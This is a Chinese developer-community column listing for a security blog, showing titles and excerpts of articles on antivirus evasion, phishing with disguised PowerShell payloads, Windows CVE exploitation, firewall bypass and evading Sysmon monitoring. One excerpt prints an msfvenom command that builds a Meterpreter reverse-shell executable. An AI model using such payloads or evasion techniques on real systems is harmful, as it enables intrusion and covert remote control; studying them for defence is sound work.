腾讯云开发者社区-腾讯云

开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

黑白安全

黑白网成立于2014年，基于丰富的技术和经验，提供各类技术性动态。官网:heibai.org.cn

专栏作者

1299

文章

2150288

阅读量

250

订阅数

基于TCP正向端口来bypass 某数字软件

源码://#include "pch.h"#include<WinSock2.h>#include<WS2tcpip.h>#include<iostream>#include<Windows.h>#pragmacomment(lib, "ws2_32.lib")int main(intargc, char* a

2022-04-26

3220

一个免杀钓鱼思路分享

windows 网络安全 unicode 区块链

左侧的文件是真实文本文件。右边的文件是PowerShell有效负载，两者看起来基本一模一样，可以看到都是.txt的文件名。打开我们的木马文件跟我们打开笔记本应用没有任何分别。但是我们的木马在后台悄悄执行了。CS MSF等等C2正常上线。1.生成shellcode1.我们使用CS MSF等等C2生成的powershell等shellcode.这里使用MSF演示

2022-04-26

1.1K0

Netlogon特权提升漏洞 (CVE-2020-1472) 原理分析与验证

安全网络安全编程算法 windows

CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，由于微软在Netlogon协议中没有正确使用加密算法而导致的漏洞。本文就整个攻击过程做一个简要分析。本文作者：奇安信代码安全实验室漏洞简介CVE-2020-1472是是一个windows域控中严重的远程权限提升漏洞。由于微软在Netlogon协议中

2022-04-26

4960

永恒之蓝木马下载器发起 “黑球”行动，新增 SMBGhost 漏洞检测能力

java 安全 windows http 区块链

腾讯安全威胁情报中心检测到永恒之蓝下载器木马出现最新变种，此次变种的病毒延续上个版本的邮件蠕虫攻击方法，利用附带Office漏洞CVE-2017-8570漏洞的doc文档以及JS诱饵文件发送与新冠肺炎主题相关的钓鱼邮件。同时新增SMBGhost（CVE-2020-0796）漏洞检测和上报、新增SSH爆破攻击相关代码，推测其可能在后续攻击活动中利用SMBGhost漏洞、也可能发起针对Linux系统的攻击。

2022-04-26

1.6K0

CVE 2020-0769复现

windows 安全 windows server https 网络安全

2020年3月10日，微软在其官方SRC发布了CVE-2020-0796的安全公告（ADV200005，MicrosoftGuidance for Disabling SMBv3 Compression）,公告表示在windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中，攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

2022-04-26

2030

Xss之Flash钓鱼

黑客安全 flash windows 网络安全

剧情：某日xxx黑客，发现某网站存在XSS漏洞，但是有httponly，xxx黑客就想利用Xss进行钓鱼，如果只是钓到账号密码，可以去伪造登录页面，提示登录超时，这里以拿到权限为主。

2022-04-26

1.8K0

什么是DNS泄漏以及如何解决

dns VPN 连接 ipv6 windows tcp/ip

DNS将域名转换为IP地址，从而使用户无需记住一长串数字即可在连接到Internet时访问网站和服务。

2022-04-26

8.5K0

CVE-2019-0708_RDP漏洞利用

windows 漏洞扫描服务 tcp/ip 网络安全安全

基于Windows系列服务器系列漏洞,在2019年5月15日被公开,级别属于高危漏洞,利用方式简单,通过3389端口，RDP协议进行攻击。这个漏洞是今年危害严重性最大的漏洞

2022-04-26

1.7K0

Metasploit笔记

windows php tcp/ip

msfvenom -p windows/Meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe

2022-04-26

4440

怎样使用Python打造免杀payload

html python windows tcp/ip

在为公司实施信息安全防御方案的时候，大家一般会将防病毒软件作为方案中的一部分，这绝对是一个明智之举。我们可以通过防病毒软件抵御大部分病毒。但是，我们要知道，防病毒软件只是起到了一定的保护作用，仅仅靠防病毒手段保证终端计算机的安全，还是远远不够。一个完善的信息安全方案应该是一个全方位的防护体系，应该包括补丁更新服务、防火墙、杀毒软件、主机物理安全、身份认账管理

2022-04-26

1.1K0

渗透测试工具集成系统环境\单兵武器库

https linux windows 网站渗透测试压力测试

渗透系统环境简介以下介绍的系统环境都可以说是一个单兵武器库。每一个渗透系统环境都各有不同，它们集成了各式各样的武器装备，只需导入虚拟机，既可使用，无需自行安装，方便又高效！免责声明~本文仅供渗透测试使用，切勿违法，一切与本人无关！无授权，不渗透！Github项目地址请点击查看原文~01 CTF_Tools—SystemCTF 工具集成系统环境~本项目主要搜

2022-04-26

4.9K0

使用Microsoft.com域绕过防火墙并执行有效负载

powershell windows .net 编程算法

Microsoft.com是互联网上最广泛的域名之一，拥有数千个注册子域名。Windows 10将每小时对这些子域进行数百次ping操作，这使得防火墙和监视操作系统发出的所有请求变得极具挑战性。攻击者可以使用这些子域来提供有效负载以逃避网络防火墙。在最近尝试在社交媒体上分享文章时，Twitter阻止我在推文窗口中输入简单的PowerShell命令。Twitt

2022-04-26

3.7K0

无需Native Code的RCE——IE8中的写入原语利用

网络安全安全网站 powershell windows

在2018年的最后一天，我在Internet Explorer中发现了一个类型混淆漏洞，它产生了一个干净的write-what-where原语。它将今年四月修补为CVE-2019-0752。作为练习，我使用原始的开发技术为此漏洞编写了一个完整的漏洞。即使漏洞本身仅产生受控写入并且无法触发以产生信息泄漏，但是仍然存在直接且高度可靠的代码执行路径。此外，该漏洞利

2022-04-26

1.2K0

编写Windows x64的shellcode

单片机 windows kernel

很久以前我写过三篇关于如何编写Windows shellcode（x86 - 32位）的详细博客文章。文章初学者友好，包含很多细节。第一部分解释什么是shellcode，哪些是它的局限性，第二部分解释了PEB（进程环境块），PE（可移植可执行文件）文件格式和ASM（汇编程序）的基础知识，第三部分说明了Windows shellcode如何实际实现。这篇博客文

2022-04-26

1.3K0

反向壳和控制网络摄像头

shell tcp/ip windows https 网络安全

如果您的网络摄像头上有一块胶带，您很可能听说黑客或NSA可以远程侦察您。问题是如何？远方的人，你从未见过的人如何能够远程连接你的机器并监视你？现在可能是你的CCTV，IP摄像头只是暴露在互联网上，攻击者在Shodan等网站上发现了它。你没有更改默认密码和bam，他们在。看着你的一举一动。物联网相机通常就是这种情况。但是，如果我们谈论您内置的网络摄像头，答案

2022-04-26

6060

结合CVE-2019-1040漏洞的两种域提权深度利用分析

windows python 网络安全安全

作者：天融信阿尔法实验室一、漏洞概述2019年6月，Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞，攻击者可以通过中间人攻击，绕过NTLM MIC（消息完整性检查）保护，将身份验证流量中继到目标服务器。通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器，包括域控服

2022-04-25

5.6K0

CVE-2019-8452：Check Point V**本地提权漏洞分析

windows 网络安全安全 python

几个月前，我发现在Check Point端点安全V**客户端中有一个DACL权限覆盖漏洞。此漏洞允许Windows系统上的任何用户Full Control为Authenticated Users安全组的任何文件设置权限（唯一的限制是SYSTEM用户需要访问该文件的编辑权限，因此TrustedInstaller无法覆盖某些系统文件）。V**客户端有两个对应部

2022-04-25

5280

逃避Sysmon DNS监控丨Evading Sysmon DNS Monitoring

dns api gui windows

在最近对Sysmon的更新中，引入了一项新功能，允许记录DNS事件。虽然这为防御者提供了一个很好的数据点（向SysInternals团队大声喊叫，继续免费提供和支持这些令人敬畏的工具），对于我们作为攻击者，这意味着如果我们的植入物或有效载荷尝试通过DNS进行通信，BlueTeam有一个获取可能导致检测的指标的潜在方法。

2022-04-25

5390

为证明理念向开源转变，微软公布了Windows 计算器代码！

windows c++开源 github

若是全球开发者合力，能否完善标志性的Windows 计算器呢？微软相信他们能做到。据外媒报道，微软本周在GitHub上以MIT许可证发布了使用最多的应用程序之一——Windows 计算器的源代码。与NSA（美国国家安全局）公布的120万行Ghidra逆向工程工具开源代码相比，Windows 计算器的3.5万行C++代码可能稍显逊色。虽然计算器是很小的一个部分

2022-04-24

8950

WMI攻击与安全防御

windows 数据库 sql powershell http

WMI是一项windows管理技术，其全称是Windows Management Instrumentation，即Windows管理规范。大多数基于Windows的软件依赖于此服务。因此有些黑客会针对WMI进行攻击。本文介绍了 WMI 的攻击和安全防御方法，以供大家交流讨论。

2022-04-24

9070

点击加载更多

社区活动

腾讯技术创作狂欢月

“码”上创作 21 天，分 10000 元奖品池！

Python精品学习库

代码在线跑，知识轻松学

博客搬家 | 分享价值百万资源包

自行/邀约他人一键搬运博客，速成社区影响力并领取好礼

技术创作特训营·精选知识专栏

往期视频·千货材料·成员作品最新动态